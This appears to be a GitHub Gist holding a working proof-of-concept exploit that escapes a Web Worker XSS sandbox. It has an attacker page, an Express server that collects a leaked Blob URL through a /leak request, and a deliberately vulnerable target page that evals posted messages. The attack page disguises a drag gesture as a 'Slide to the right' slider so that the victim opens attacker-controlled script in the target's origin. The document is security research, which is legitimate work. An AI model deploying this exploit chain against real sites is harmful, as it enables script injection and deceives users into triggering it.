Skip to content

Instantly share code, notes, and snippets.

@JorianWoltjer
Last active September 19, 2025 20:55
Show Gist options
  • Select an option

  • Save JorianWoltjer/e81e7b1a3e892a3dcd250934a38f1174 to your computer and use it in GitHub Desktop.

Select an option

Save JorianWoltjer/e81e7b1a3e892a3dcd250934a38f1174 to your computer and use it in GitHub Desktop.
Web Worker XSS sandbox escape PoC
<body style="height: 100%; margin: 0; display: flex; align-items: center; flex-direction: column; justify-content: center">
<iframe id="frame" src="http://127.0.0.1:8000/vuln.html" style="display: none"></iframe>
<h1>Slide to the right</h1>
<input type="range" id="slider" min="0" max="100" value="0" step="1">
<!-- Invisible image covering entire page (draggable) -->
<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR4nGNgYAAAAAMAAWgmWQ0AAAAASUVORK5CYII="
style="position: fixed; top: 0; left: 0px; width: 100vw; height: 100vh">
</body>
<script>
// 1. XSS the target in iframe to leak a Blob URL filled with XSS
frame.onload = () => {
frame.contentWindow.postMessage({
eval: `
const blob = new Blob(['<script>alert(origin)<\/script>'], {type: "text/html"});
const url = URL.createObjectURL(blob);
fetch("${location.origin}/leak?" + new URLSearchParams({ url }));
`}, "*");
};
// 2. Receive Blob URL leak
let url;
fetch("/blob").then((r) => r.text()).then((t) => url = t);
// 3. When dragging, open popup with same visual content and set Blob URL as drag data
// The second it is dropped, the URL will be opened in a new tab and execute the XSS
const thisBlob = new Blob([document.documentElement.innerHTML], { type: "text/html" });
const thisUrl = URL.createObjectURL(thisBlob);
ondragstart = (e) => {
window.open(thisUrl, "", "width=9999,height=9999,left=0,top=0");
e.dataTransfer.clearData();
e.dataTransfer.setData("text/uri-list", url);
}
</script>
const express = require("express");
const app = express();
const PORT = 3000;
let resolveLeak;
app.get("/", (req, res) => {
return res.sendFile(__dirname + "/exploit.html");
});
app.get("/leak", (req, res) => {
const leak = req.query.url;
console.log("Leak:", leak);
if (resolveLeak) {
resolveLeak(leak);
}
res.send("Data received");
});
app.get("/blob", async (req, res) => {
return res.send(await new Promise((r) => resolveLeak = r));
});
app.listen(PORT, () => {
console.log(`Server is running on http://localhost:${PORT}`);
});
<script>
// XSS inside a worker
const blob = new Blob([`onmessage = (e) => {
const { data } = e;
if (data.eval) {
eval(data.eval);
}
}
`], { type: "application/javascript" });
const worker = new Worker(URL.createObjectURL(blob));
onmessage = (e) => {
const { data } = e;
if (data.eval) {
worker.postMessage(data);
}
};
</script>
@JorianWoltjer

JorianWoltjer commented Jul 31, 2025

Copy link
Copy Markdown
Author

To run:

python3 -m http.server

npm i express
node exploit.js

Then visit http://localhost:3000 and drag anywhere

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment